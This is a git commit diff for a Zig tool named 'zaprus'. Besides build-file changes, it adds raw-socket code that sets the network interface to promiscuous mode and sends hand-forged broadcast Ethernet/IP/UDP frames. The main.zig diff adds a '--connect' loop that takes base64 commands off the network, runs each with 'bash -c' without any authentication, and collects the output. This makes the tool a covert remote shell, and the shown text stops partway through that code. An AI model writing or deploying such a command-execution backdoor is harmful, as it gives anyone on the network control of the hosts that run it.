Implemented client and connection

trying to start writing my own function to do raw socket connections

build.zig

@@ -1,71 +1,112 @@
 const std = @import("std");
 
-// Although this function looks imperative, note that its job is to
-// declaratively construct a build graph that will be executed by an external
-// runner.
+// Although this function looks imperative, it does not perform the build
+// directly and instead it mutates the build graph (`b`) that will be then
+// executed by an external runner. The functions in `std.Build` implement a DSL
+// for defining build steps and express dependencies between them, allowing the
+// build runner to parallelize the build automatically (and the cache system to
+// know when a step doesn't need to be re-run).
 pub fn build(b: *std.Build) void {
-    // Standard target options allows the person running `zig build` to choose
+    // Standard target options allow the person running `zig build` to choose
     // what target to build for. Here we do not override the defaults, which
     // means any target is allowed, and the default is native. Other options
     // for restricting supported target set are available.
     const target = b.standardTargetOptions(.{});
-
     // Standard optimization options allow the person running `zig build` to select
     // between Debug, ReleaseSafe, ReleaseFast, and ReleaseSmall. Here we do not
     // set a preferred release mode, allowing the user to decide how to optimize.
     const optimize = b.standardOptimizeOption(.{});
+    // It's also possible to define more custom flags to toggle optional features
+    // of this build script using `b.option()`. All defined flags (including
+    // target and optimize options) will be listed when running `zig build --help`
+    // in this directory.
 
-    const lib_mod = b.createModule(.{
+    // This creates a module, which represents a collection of source files alongside
+    // some compilation options, such as optimization mode and linked system libraries.
+    // Zig modules are the preferred way of making Zig code available to consumers.
+    // addModule defines a module that we intend to make available for importing
+    // to our consumers. We must give it a name because a Zig package can expose
+    // multiple modules and consumers will need to be able to specify which
+    // module they want to access.
+    const mod = b.addModule("zaprus", .{
+        // The root source file is the "entry point" of this module. Users of
+        // this module will only be able to access public declarations contained
+        // in this file, which means that if you have declarations that you
+        // intend to expose to consumers that were defined in other files part
+        // of this module, you will have to make sure to re-export them from
+        // the root file.
         .root_source_file = b.path("src/root.zig"),
+        // Later on we'll use this module as the root module of a test executable
+        // which requires us to specify a target.
         .target = target,
-        .optimize = optimize,
     });
 
-    // We will also create a module for our other entry point, 'main.zig'.
-    const exe_mod = b.createModule(.{
-        // `root_source_file` is the Zig "entry point" of the module. If a module
-        // only contains e.g. external object files, you can make this `null`.
-        // In this case the main source file is merely a path, however, in more
-        // complicated build scripts, this could be a generated file.
-        .root_source_file = b.path("src/main.zig"),
-        .target = target,
-        .optimize = optimize,
-    });
-
-    lib_mod.addImport("network", b.dependency("network", .{}).module("network"));
-
-    exe_mod.addImport("zaprus", lib_mod);
-    exe_mod.addImport("clap", b.dependency("clap", .{}).module("clap"));
-
-    const lib = b.addLibrary(.{
-        .linkage = .static,
-        .name = "zaprus",
-        .root_module = lib_mod,
-    });
-
-    b.installArtifact(lib);
-
-    // This creates another `std.Build.Step.Compile`, but this one builds an executable
-    // rather than a static library.
+    // Here we define an executable. An executable needs to have a root module
+    // which needs to expose a `main` function. While we could add a main function
+    // to the module defined above, it's sometimes preferable to split business
+    // logic and the CLI into two separate modules.
+    //
+    // If your goal is to create a Zig library for others to use, consider if
+    // it might benefit from also exposing a CLI tool. A parser library for a
+    // data serialization format could also bundle a CLI syntax checker, for example.
+    //
+    // If instead your goal is to create an executable, consider if users might
+    // be interested in also being able to embed the core functionality of your
+    // program in their own executable in order to avoid the overhead involved in
+    // subprocessing your CLI tool.
+    //
+    // If neither case applies to you, feel free to delete the declaration you
+    // don't need and to put everything under a single module.
     const exe = b.addExecutable(.{
         .name = "zaprus",
-        .root_module = exe_mod,
+        .root_module = b.createModule(.{
+            // b.createModule defines a new module just like b.addModule but,
+            // unlike b.addModule, it does not expose the module to consumers of
+            // this package, which is why in this case we don't have to give it a name.
+            .root_source_file = b.path("src/main.zig"),
+            // Target and optimization levels must be explicitly wired in when
+            // defining an executable or library (in the root module), and you
+            // can also hardcode a specific target for an executable or library
+            // definition if desireable (e.g. firmware for embedded devices).
+            .target = target,
+            .optimize = optimize,
+            // List of modules available for import in source files part of the
+            // root module.
+            .imports = &.{
+                // Here "zaprus" is the name you will use in your source code to
+                // import this module (e.g. `@import("zaprus")`). The name is
+                // repeated because you are allowed to rename your imports, which
+                // can be extremely useful in case of collisions (which can happen
+                // importing modules from different packages).
+                .{ .name = "zaprus", .module = mod },
+            },
+        }),
     });
 
     // This declares intent for the executable to be installed into the
-    // standard location when the user invokes the "install" step (the default
-    // step when running `zig build`).
+    // install prefix when running `zig build` (i.e. when executing the default
+    // step). By default the install prefix is `zig-out/` but can be overridden
+    // by passing `--prefix` or `-p`.
     b.installArtifact(exe);
 
-    // This *creates* a Run step in the build graph, to be executed when another
-    // step is evaluated that depends on it. The next line below will establish
-    // such a dependency.
-    const run_cmd = b.addRunArtifact(exe);
+    // This creates a top level step. Top level steps have a name and can be
+    // invoked by name when running `zig build` (e.g. `zig build run`).
+    // This will evaluate the `run` step rather than the default step.
+    // For a top level step to actually do something, it must depend on other
+    // steps (e.g. a Run step, as we will see in a moment).
+    const run_step = b.step("run", "Run the app");
 
-    // By making the run step depend on the install step, it will be run from the
+    // This creates a RunArtifact step in the build graph. A RunArtifact step
+    // invokes an executable compiled by Zig. Steps will only be executed by the
+    // runner if invoked directly by the user (in the case of top level steps)
+    // or if another step depends on it, so it's up to you to define when and
+    // how this Run step will be executed. In our case we want to run it when
+    // the user runs `zig build run`, so we create a dependency link.
+    const run_cmd = b.addRunArtifact(exe);
+    run_step.dependOn(&run_cmd.step);
+
+    // By making the run step depend on the default step, it will be run from the
     // installation directory rather than directly from within the cache directory.
-    // This is not necessary, however, if the application depends on other installed
-    // files, this ensures they will be present and in the expected location.
     run_cmd.step.dependOn(b.getInstallStep());
 
     // This allows the user to pass arguments to the application in the build
@@ -74,21 +115,42 @@ pub fn build(b: *std.Build) void {
         run_cmd.addArgs(args);
     }
 
-    // This creates a build step. It will be visible in the `zig build --help` menu,
-    // and can be selected like this: `zig build run`
-    // This will evaluate the `run` step rather than the default, which is "install".
-    const run_step = b.step("run", "Run the app");
-    run_step.dependOn(&run_cmd.step);
-
-    const exe_unit_tests = b.addTest(.{
-        .root_module = exe_mod,
+    // Creates an executable that will run `test` blocks from the provided module.
+    // Here `mod` needs to define a target, which is why earlier we made sure to
+    // set the releative field.
+    const mod_tests = b.addTest(.{
+        .root_module = mod,
     });
 
-    const run_exe_unit_tests = b.addRunArtifact(exe_unit_tests);
+    // A run step that will run the test executable.
+    const run_mod_tests = b.addRunArtifact(mod_tests);
 
-    // Similar to creating the run step earlier, this exposes a `test` step to
-    // the `zig build --help` menu, providing a way for the user to request
-    // running the unit tests.
-    const test_step = b.step("test", "Run unit tests");
-    test_step.dependOn(&run_exe_unit_tests.step);
+    // Creates an executable that will run `test` blocks from the executable's
+    // root module. Note that test executables only test one module at a time,
+    // hence why we have to create two separate ones.
+    const exe_tests = b.addTest(.{
+        .root_module = exe.root_module,
+    });
+
+    // A run step that will run the second test executable.
+    const run_exe_tests = b.addRunArtifact(exe_tests);
+
+    // A top level step for running all tests. dependOn can be called multiple
+    // times and since the two run steps do not depend on one another, this will
+    // make the two of them run in parallel.
+    const test_step = b.step("test", "Run tests");
+    test_step.dependOn(&run_mod_tests.step);
+    test_step.dependOn(&run_exe_tests.step);
+
+    // Just like flags, top level steps are also listed in the `--help` menu.
+    //
+    // The Zig build system is entirely implemented in userland, which means
+    // that it cannot hook into private compiler APIs. All compilation work
+    // orchestrated by the build system will result in other Zig compiler
+    // subcommands being invoked with the right flags defined. You can observe
+    // these invocations when one fails (or you pass a flag to increase
+    // verbosity) to validate assumptions and diagnose problems.
+    //
+    // Lastly, the Zig build system is relatively simple and self-contained,
+    // and reading its source code will allow you to master it.
 }

build.zig.zon

@@ -28,23 +28,14 @@
 
     // Tracks the earliest Zig version that the package considers to be a
     // supported use case.
-    .minimum_zig_version = "0.14.0",
+    .minimum_zig_version = "0.16.0",
 
     // This field is optional.
     // Each dependency must either provide a `url` and `hash`, or a `path`.
     // `zig build --fetch` can be used to fetch all dependencies of a package, recursively.
     // Once all dependencies are fetched, `zig build` no longer requires
     // internet connectivity.
-    .dependencies = .{
-        .network = .{
-            .url = "https://github.com/ikskuh/zig-network/archive/c76240d2240711a3dcbf1c0fb461d5d1f18be79a.zip",
-            .hash = "network-0.1.0-AAAAAOwlAQAQ6zKPUrsibdpGisxld9ftUKGdMvcCSpaj",
-        },
-        .clap = .{
-            .url = "git+https://github.com/Hejsil/zig-clap?ref=0.10.0#e47028deaefc2fb396d3d9e9f7bd776ae0b2a43a",
-            .hash = "clap-0.10.0-oBajB434AQBDh-Ei3YtoKIRxZacVPF1iSwp3IX_ZB8f0",
-        },
-    },
+    .dependencies = .{},
     .paths = .{
         "build.zig",
         "build.zig.zon",

src/Client.zig

@@ -1,124 +1,142 @@
-var rand: ?Random = null;
+const base64_enc = std.base64.standard.Encoder;
+const base64_dec = std.base64.standard.Decoder;
 
-pub fn init() !void {
-    var prng = Random.DefaultPrng.init(blk: {
-        var seed: u64 = undefined;
-        try posix.getrandom(mem.asBytes(&seed));
-        break :blk seed;
-    });
-    rand = prng.random();
-    try network.init();
+const Client = @This();
+
+const max_message_size = 2048;
+
+socket: RawSocket,
+
+pub fn init() !Client {
+    const socket: RawSocket = try .init();
+    return .{
+        .socket = socket,
+    };
 }
 
-pub fn deinit() void {
-    network.deinit();
+pub fn deinit(self: *Client) void {
+    self.socket.deinit();
+    self.* = undefined;
 }
 
-fn broadcastSaprusMessage(msg: SaprusMessage, udp_port: u16, allocator: Allocator) !void {
-    const msg_bytes = try msg.toBytes(allocator);
-    defer allocator.free(msg_bytes);
-
-    var sock = try network.Socket.create(.ipv4, .udp);
-    defer sock.close();
-
-    try sock.setBroadcast(true);
-
-    // Bind to 0.0.0.0:0
-    const bind_addr = network.EndPoint{
-        .address = network.Address{ .ipv4 = network.Address.IPv4.any },
-        .port = 0,
+pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void {
+    const rand = blk: {
+        const io_source: std.Random.IoSource = .{ .io = io };
+        break :blk io_source.interface();
     };
 
-    const dest_addr = network.EndPoint{
-        .address = network.Address{ .ipv4 = network.Address.IPv4.broadcast },
-        .port = udp_port,
+    var headers: EthIpUdp = .{
+        .src_mac = self.socket.mac,
+        .ip = .{
+            .id = rand.int(u16),
+            .src_addr = 0, //rand.int(u32),
+            .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
+            .len = undefined,
+        },
+        .udp = .{
+            .src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
+            .dst_port = 8888,
+            .len = undefined,
+        },
     };
 
-    try sock.bind(bind_addr);
-
-    _ = try sock.sendTo(dest_addr, msg_bytes);
-}
-
-pub fn sendRelay(payload: []const u8, dest: [4]u8, allocator: Allocator) !void {
-    const msg = SaprusMessage{
+    const relay: SaprusMessage = .{
         .relay = .{
-            .header = .{ .dest = dest },
+            .dest = .fromBytes(&dest),
             .payload = payload,
         },
     };
 
-    try broadcastSaprusMessage(msg, 8888, allocator);
+    var relay_buf: [max_message_size - (@bitSizeOf(EthIpUdp) / 8)]u8 = undefined;
+    const relay_bytes = relay.toBytes(&relay_buf);
+    headers.setPayloadLen(relay_bytes.len);
+
+    const full_msg = blk: {
+        var msg_buf: [max_message_size]u8 = undefined;
+        var msg_w: Writer = .fixed(&msg_buf);
+        msg_w.writeAll(&headers.toBytes()) catch unreachable;
+        msg_w.writeAll(relay_bytes) catch unreachable;
+        break :blk msg_w.buffered();
+    };
+
+    try self.socket.send(full_msg);
 }
 
-fn randomPort() u16 {
-    var p: u16 = 0;
-    if (rand) |r| {
-        p = r.intRangeAtMost(u16, 1024, 65000);
-    } else unreachable;
+pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection {
+    const rand = blk: {
+        const io_source: std.Random.IoSource = .{ .io = io };
+        break :blk io_source.interface();
+    };
 
-    return p;
-}
+    var headers: EthIpUdp = .{
+        .src_mac = self.socket.mac,
+        .ip = .{
+            .id = rand.int(u16),
+            .src_addr = 0, //rand.int(u32),
+            .dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
+            .len = undefined,
+        },
+        .udp = .{
+            .src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
+            .dst_port = 8888,
+            .len = undefined,
+        },
+    };
 
-pub fn sendInitialConnection(payload: []const u8, initial_port: u16, allocator: Allocator) !SaprusMessage {
-    const dest_port = randomPort();
-    const msg = SaprusMessage{
+    // udp dest port should not be 8888 after first
+    const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
+    var connection: SaprusMessage = .{
         .connection = .{
-            .header = .{
-                .src_port = initial_port,
-                .dest_port = dest_port,
-            },
+            .src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
+            .dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
+            .seq = undefined,
+            .id = undefined,
             .payload = payload,
         },
     };
 
-    try broadcastSaprusMessage(msg, 8888, allocator);
+    try self.socket.attachSaprusPortFilter(connection.connection.src);
 
-    return msg;
-}
+    var connection_buf: [2048]u8 = undefined;
+    var connection_bytes = connection.toBytes(&connection_buf);
+    headers.setPayloadLen(connection_bytes.len);
 
-pub fn connect(payload: []const u8, allocator: Allocator) !?SaprusMessage {
-    var initial_port: u16 = 0;
-    if (rand) |r| {
-        initial_port = r.intRangeAtMost(u16, 1024, 65000);
-    } else unreachable;
-
-    var initial_conn_res: ?SaprusMessage = null;
-    errdefer if (initial_conn_res) |c| c.deinit(allocator);
-
-    var sock = try network.Socket.create(.ipv4, .udp);
-    defer sock.close();
-
-    // Bind to 255.255.255.255:8888
-    const bind_addr = network.EndPoint{
-        .address = network.Address{ .ipv4 = network.Address.IPv4.broadcast },
-        .port = 8888,
+    var full_msg = blk: {
+        var msg_buf: [2048]u8 = undefined;
+        var msg_w: Writer = .fixed(&msg_buf);
+        msg_w.writeAll(&headers.toBytes()) catch unreachable;
+        msg_w.writeAll(connection_bytes) catch unreachable;
+        break :blk msg_w.buffered();
     };
 
-    // timeout 1s
-    try sock.setReadTimeout(1 * std.time.us_per_s);
-    try sock.bind(bind_addr);
+    try self.socket.send(full_msg);
+    var res_buf: [4096]u8 = undefined;
 
-    const msg = try sendInitialConnection(payload, initial_port, allocator);
+    // Ignore response from sentinel, just accept that we got one.
+    _ = try self.socket.receive(&res_buf);
+    try io.sleep(.fromMilliseconds(40), .real);
 
-    var response_buf: [4096]u8 = undefined;
-    _ = try sock.receive(&response_buf); // Ignore message that I sent.
-    const len = try sock.receive(&response_buf);
+    headers.udp.dst_port = udp_dest_port;
+    headers.ip.id = rand.int(u16);
 
-    initial_conn_res = try SaprusMessage.fromBytes(response_buf[0..len], allocator);
+    full_msg = blk: {
+        var msg_buf: [2048]u8 = undefined;
+        var msg_w: Writer = .fixed(&msg_buf);
+        msg_w.writeAll(&headers.toBytes()) catch unreachable;
+        msg_w.writeAll(connection_bytes) catch unreachable;
+        break :blk msg_w.buffered();
+    };
+    try self.socket.send(full_msg);
 
-    // Complete handshake after awaiting response
-    try broadcastSaprusMessage(msg, randomPort(), allocator);
-
-    return initial_conn_res;
+    return .init(self.socket, headers, connection);
 }
 
+const RawSocket = @import("./RawSocket.zig");
+
 const SaprusMessage = @import("message.zig").Message;
+const SaprusConnection = @import("Connection.zig");
+const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
 
 const std = @import("std");
-const Random = std.Random;
-const posix = std.posix;
-const mem = std.mem;
-
-const network = @import("network");
-
-const Allocator = mem.Allocator;
+const Io = std.Io;
+const Writer = std.Io.Writer;

src/Connection.zig

@@ -0,0 +1,59 @@
+socket: RawSocket,
+headers: EthIpUdp,
+connection: SaprusMessage,
+
+const Connection = @This();
+
+pub fn init(socket: RawSocket, headers: EthIpUdp, connection: SaprusMessage) Connection {
+    return .{
+        .socket = socket,
+        .headers = headers,
+        .connection = connection,
+    };
+}
+
+pub fn next(self: Connection, io: Io, buf: []u8) ![]const u8 {
+    _ = io;
+    const res = try self.socket.receive(buf);
+    const connection_res = blk: {
+        const msg: SaprusMessage = try .parse(res[42..]);
+        break :blk msg.connection;
+    };
+
+    return connection_res.payload;
+}
+
+pub fn send(self: *Connection, io: Io, buf: []const u8) !void {
+    const rand = blk: {
+        const io_source: std.Random.IoSource = .{ .io = io };
+        break :blk io_source.interface();
+    };
+
+    self.connection.connection.payload = buf;
+    const connection_bytes = blk: {
+        var connection_bytes: [2048]u8 = undefined;
+        break :blk self.connection.toBytes(&connection_bytes);
+    };
+
+    self.headers.setPayloadLen(connection_bytes.len);
+    self.headers.ip.id = rand.int(u16);
+
+    const full_msg = blk: {
+        var msg_buf: [2048]u8 = undefined;
+        var msg_w: Writer = .fixed(&msg_buf);
+        try msg_w.writeAll(&self.headers.toBytes());
+        try msg_w.writeAll(connection_bytes);
+        break :blk msg_w.buffered();
+    };
+
+    try self.socket.send(full_msg);
+}
+
+const std = @import("std");
+const Io = std.Io;
+const Writer = std.Io.Writer;
+
+const SaprusMessage = @import("./message.zig").Message;
+
+const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
+const RawSocket = @import("./RawSocket.zig");

src/EthIpUdp.zig

@@ -0,0 +1,57 @@
+pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
+    // --- UDP (Last in memory, defined first for LSB->MSB) ---
+    udp: packed struct {
+        checksum: u16 = 0,
+        len: u16,
+        dst_port: u16,
+        src_port: u16,
+    },
+
+    // --- IP ---
+    ip: packed struct {
+        dst_addr: u32,
+        src_addr: u32,
+        header_checksum: u16 = 0,
+        protocol: u8 = 17, // udp
+        ttl: u8 = 0x40,
+
+        // fragment_offset (13 bits) + flags (3 bits) = 16 bits
+        // In Big Endian, flags are the high bits of the first byte.
+        // To have flags appear first in the stream, define them last here.
+        fragment_offset: u13 = 0,
+        flags: packed struct(u3) {
+            reserved: u1 = 0,
+            dont_fragment: u1 = 1,
+            more_fragments: u1 = 0,
+        } = .{},
+
+        id: u16,
+        len: u16,
+        tos: u8 = undefined,
+
+        // ip_version (4 bits) + ihl (4 bits) = 8 bits
+        // To have version appear first (high nibble), define it last.
+        ihl: u4 = 5,
+        ip_version: u4 = 4,
+    },
+
+    // --- Ethernet ---
+    eth_type: u16 = std.os.linux.ETH.P.IP,
+    src_mac: @Vector(6, u8),
+    dst_mac: @Vector(6, u8) = @splat(0xff),
+
+    pub fn toBytes(self: @This()) [336 / 8]u8 {
+        var res: [336 / 8]u8 = undefined;
+        var w: Writer = .fixed(&res);
+        w.writeStruct(self, .big) catch unreachable;
+        return res;
+    }
+
+    pub fn setPayloadLen(self: *@This(), len: usize) void {
+        self.ip.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8) + (@bitSizeOf(@TypeOf(self.ip)) / 8));
+        self.udp.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8));
+    }
+};
+
+const std = @import("std");
+const Writer = std.Io.Writer;

src/RawSocket.zig

@@ -0,0 +1,161 @@
+const RawSocket = @This();
+
+fd: i32,
+sockaddr_ll: std.posix.sockaddr.ll,
+mac: [6]u8,
+
+const Ifconf = extern struct {
+    ifc_len: i32,
+    ifc_ifcu: extern union {
+        ifcu_buf: ?[*]u8,
+        ifcu_req: ?[*]std.os.linux.ifreq,
+    },
+};
+
+pub fn init() !RawSocket {
+    const socket: i32 = @intCast(std.os.linux.socket(std.os.linux.AF.PACKET, std.os.linux.SOCK.RAW, 0));
+    if (socket < 0) return error.SocketError;
+
+    var ifreq_storage: [16]std.os.linux.ifreq = undefined;
+    var ifc = Ifconf{
+        .ifc_len = @sizeOf(@TypeOf(ifreq_storage)),
+        .ifc_ifcu = .{ .ifcu_req = &ifreq_storage },
+    };
+
+    if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFCONF, @intFromPtr(&ifc)) != 0) {
+        return error.NicError;
+    }
+
+    const count = @divExact(ifc.ifc_len, @sizeOf(std.os.linux.ifreq));
+
+    // Get the first non loopback interface
+    var ifr = for (ifreq_storage[0..@intCast(count)]) |*ifr| {
+        if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) == 0) {
+            if (ifr.ifru.flags.LOOPBACK) continue;
+            break ifr;
+        }
+    } else return error.NoInterfaceFound;
+
+    // 2. Get Interface Index
+    if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFINDEX, @intFromPtr(ifr)) != 0) {
+        return error.NicError;
+    }
+    const ifindex: i32 = ifr.ifru.ivalue;
+
+    // 3. Get Real MAC Address
+    if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFHWADDR, @intFromPtr(ifr)) != 0) {
+        return error.NicError;
+    }
+    var mac: [6]u8 = ifr.ifru.hwaddr.data[0..6].*;
+    if (builtin.cpu.arch.endian() == .little) std.mem.reverse(u8, &mac);
+
+    // 4. Set Flags (Promiscuous/Broadcast)
+    if (std.os.linux.ioctl(socket, std.os.linux.SIOCGIFFLAGS, @intFromPtr(ifr)) != 0) {
+        return error.NicError;
+    }
+    ifr.ifru.flags.BROADCAST = true;
+    ifr.ifru.flags.PROMISC = true;
+    if (std.os.linux.ioctl(socket, std.os.linux.SIOCSIFFLAGS, @intFromPtr(ifr)) != 0) {
+        return error.NicError;
+    }
+
+    const sockaddr_ll = std.mem.zeroInit(std.posix.sockaddr.ll, .{
+        .family = std.posix.AF.PACKET,
+        .ifindex = ifindex,
+        .protocol = std.mem.nativeToBig(u16, @as(u16, std.os.linux.ETH.P.IP)),
+    });
+
+    const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll)));
+    if (bind_ret != 0) return error.BindError;
+
+    const timeout: std.os.linux.timeval = .{ .sec = 600, .usec = 0 };
+    const timeout_ret = std.os.linux.setsockopt(socket, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout)));
+    if (timeout_ret != 0) return error.SetTimeoutError;
+
+    return .{
+        .fd = socket,
+        .sockaddr_ll = sockaddr_ll,
+        .mac = mac,
+    };
+}
+
+pub fn deinit(self: *RawSocket) void {
+    _ = std.os.linux.close(self.fd);
+    self.* = undefined;
+}
+
+pub fn send(self: RawSocket, payload: []const u8) !void {
+    const sent_bytes = std.os.linux.sendto(
+        self.fd,
+        payload.ptr,
+        payload.len,
+        0,
+        @ptrCast(&self.sockaddr_ll),
+        @sizeOf(@TypeOf(self.sockaddr_ll)),
+    );
+    _ = sent_bytes;
+}
+
+pub fn receive(self: RawSocket, buf: []u8) ![]u8 {
+    const len = std.os.linux.recvfrom(
+        self.fd,
+        buf.ptr,
+        buf.len,
+        0,
+        null,
+        null,
+    );
+    if (std.os.linux.errno(len) != .SUCCESS) {
+        return error.Timeout; // TODO: get the real error, assume timeout for now.
+    }
+    return buf[0..len];
+}
+
+pub fn attachSaprusPortFilter(self: RawSocket, port: u16) !void {
+    const BPF = std.os.linux.BPF;
+    // BPF instruction structure for classic BPF
+    const SockFilter = extern struct {
+        code: u16,
+        jt: u8,
+        jf: u8,
+        k: u32,
+    };
+
+    const SockFprog = extern struct {
+        len: u16,
+        filter: [*]const SockFilter,
+    };
+
+    // Build the filter program
+    const filter = [_]SockFilter{
+        // Load 2 bytes at offset 46 (absolute)
+        .{ .code = BPF.LD | BPF.H | BPF.ABS, .jt = 0, .jf = 0, .k = 46 },
+        // Jump if equal to port (skip 0 if true, skip 1 if false)
+        .{ .code = BPF.JMP | BPF.JEQ | BPF.K, .jt = 0, .jf = 1, .k = @as(u32, port) },
+        // Return 0xffff (pass)
+        .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0xffff },
+        // Return 0x0 (fail)
+        .{ .code = BPF.RET | BPF.K, .jt = 0, .jf = 0, .k = 0x0 },
+    };
+
+    const fprog = SockFprog{
+        .len = filter.len,
+        .filter = &filter,
+    };
+
+    // Attach filter to socket using setsockopt
+    const rc = std.os.linux.setsockopt(
+        self.fd,
+        std.os.linux.SOL.SOCKET,
+        std.os.linux.SO.ATTACH_FILTER,
+        @ptrCast(&fprog),
+        @sizeOf(SockFprog),
+    );
+
+    if (rc != 0) {
+        return error.BpfAttachFailed;
+    }
+}
+
+const std = @import("std");
+const builtin = @import("builtin");

src/main.zig

@@ -1,78 +1,143 @@
 const is_debug = builtin.mode == .Debug;
 
-/// This creates a debug allocator that can only be referenced in debug mode.
-/// You should check for is_debug around every reference to dba.
-var dba: DebugAllocator =
-    if (is_debug)
-        DebugAllocator.init
-    else
-        @compileError("Should not use debug allocator in release mode");
-
-pub fn main() !void {
-    defer if (is_debug) {
-        _ = dba.deinit();
-    };
-
-    const gpa = if (is_debug) dba.allocator() else std.heap.smp_allocator;
-
-    // CLI parsing adapted from the example here
-    // https://github.com/Hejsil/zig-clap/blob/e47028deaefc2fb396d3d9e9f7bd776ae0b2a43a/README.md#examples
-
-    // First we specify what parameters our program can take.
-    // We can use `parseParamsComptime` to parse a string into an array of `Param(Help)`.
-    const params = comptime clap.parseParamsComptime(
+const help =
     \\-h, --help           Display this help and exit.
     \\-r, --relay <str>    A relay message to send.
     \\-d, --dest <str>     An IPv4 or <= 4 ASCII byte string.
     \\-c, --connect <str>  A connection message to send.
     \\
-    );
+;
 
-    // Initialize our diagnostics, which can be used for reporting useful errors.
-    // This is optional. You can also pass `.{}` to `clap.parse` if you don't
-    // care about the extra information `Diagnostics` provides.
-    var diag = clap.Diagnostic{};
-    var res = clap.parse(clap.Help, &params, clap.parsers.default, .{
-        .diagnostic = &diag,
-        .allocator = gpa,
-    }) catch |err| {
-        // Report useful error and exit.
-        diag.report(std.io.getStdErr().writer(), err) catch {};
-        return err;
-    };
-    defer res.deinit();
+const Option = enum { help, relay, dest, connect };
+const to_option: StaticStringMap(Option) = .initComptime(.{
+    .{ "-h", .help },
+    .{ "--help", .help },
+    .{ "-r", .relay },
+    .{ "--relay", .relay },
+    .{ "-d", .dest },
+    .{ "--dest", .dest },
+    .{ "-c", .connect },
+    .{ "--connect", .connect },
+});
 
-    try SaprusClient.init();
-    defer SaprusClient.deinit();
+pub fn main(init: std.process.Init) !void {
+    // CLI parsing adapted from the example here
+    // https://codeberg.org/ziglang/zig/pulls/30644
 
-    if (res.args.help != 0) {
-        return clap.help(std.io.getStdErr().writer(), clap.Help, &params, .{});
+    const args = try init.minimal.args.toSlice(init.arena.allocator());
+
+    if (args.len == 1) {
+        std.debug.print("{s}", .{help});
+        return;
     }
 
-    if (res.args.relay) |r| {
-        const dest = parseDest(res.args.dest) catch .{ 70, 70, 70, 70 };
-        try SaprusClient.sendRelay(
-            if (r.len > 0) r else "Hello darkness my old friend",
-            dest,
-            gpa,
-        );
-        // std.debug.print("Sent: {s}\n", .{r});
+    var flags: struct {
+        relay: ?[]const u8 = null,
+        dest: ?[]const u8 = null,
+        connect: ?[]const u8 = null,
+    } = .{};
+
+    {
+        var payload_buf: [4096]u8 = undefined;
+        var i: usize = 1;
+        while (i < args.len) : (i += 1) {
+            if (to_option.get(args[i])) |opt| {
+                switch (opt) {
+                    .help => {
+                        std.debug.print("{s}\n", .{help});
                         return;
-    } else if (res.args.connect) |c| {
-        const conn_res: ?SaprusMessage = SaprusClient.connect(if (c.len > 0) c else "Hello darkness my old friend", gpa) catch |err| switch (err) {
-            error.WouldBlock => null,
-            else => return err,
-        };
-        defer if (conn_res) |r| r.deinit(gpa);
-        if (conn_res) |r| {
-            std.debug.print("{s}\n", .{r.connection.payload});
+                    },
+                    .relay => {
+                        i += 1;
+                        if (i < args.len) {
+                            var w: Writer = .fixed(&payload_buf);
+                            try w.printBase64(args[i]);
+                            flags.relay = w.buffered();
                         } else {
-            std.debug.print("No response from connection request\n", .{});
+                            std.debug.print("-r/--relay requires a string\n", .{});
+                            return error.InvalidArguments;
                         }
+                    },
+                    .dest => {
+                        i += 1;
+                        if (i < args.len) {
+                            flags.dest = args[i];
+                        } else {
+                            std.debug.print("-d/--dest requires a string\n", .{});
+                            return error.InvalidArguments;
+                        }
+                    },
+                    .connect => {
+                        i += 1;
+                        if (i < args.len) {
+                            var w: Writer = .fixed(&payload_buf);
+                            try w.printBase64(args[i]);
+                            flags.connect = w.buffered();
+                        } else {
+                            flags.connect = "";
+                        }
+                    },
+                }
+            } else {
+                std.debug.print("Unknown argument: {s}\n", .{args[i]});
+                return error.InvalidArguments;
+            }
+        }
+    }
+
+    if (flags.connect != null and (flags.relay != null or flags.dest != null)) {
+        std.debug.print("Incompatible arguments.\nCannot use --connect/-c with dest or relay.\n", .{});
+        return error.InvalidArguments;
+    }
+
+    var client: SaprusClient = try .init();
+    defer client.deinit();
+
+    if (flags.relay != null) {
+        try client.sendRelay(init.io, flags.relay.?, parseDest(flags.dest));
         return;
     }
 
-    return clap.help(std.io.getStdErr().writer(), clap.Help, &params, .{});
+    if (flags.connect != null) {
+        reconnect: while (true) {
+            var connection = try client.connect(init.io, flags.connect.?);
+
+            while (true) {
+                var res_buf: [2048]u8 = undefined;
+                const next = connection.next(init.io, &res_buf) catch continue :reconnect;
+
+                const b64d = std.base64.standard.Decoder;
+                var connection_payload_buf: [2048]u8 = undefined;
+                const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
+                b64d.decode(connection_payload, next) catch {
+                    // TODO: debug log
+                    continue;
+                };
+
+                const child = std.process.spawn(init.io, .{
+                    .argv = &.{ "bash", "-c", connection_payload },
+                    .stdout = .pipe,
+                    .stderr = .pipe,
+                }) catch continue;
+
+                var child_stdout: std.ArrayList(u8) = .empty;
+                defer child_stdout.deinit(init.gpa);
+                var child_stderr: std.ArrayList(u8) = .empty;
+                defer child_stderr.deinit(init.gpa);
+
+                try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 2048);
+
+                const b64e = std.base64.standard.Encoder;
+                var cmd_output_buf: [2048]u8 = undefined;
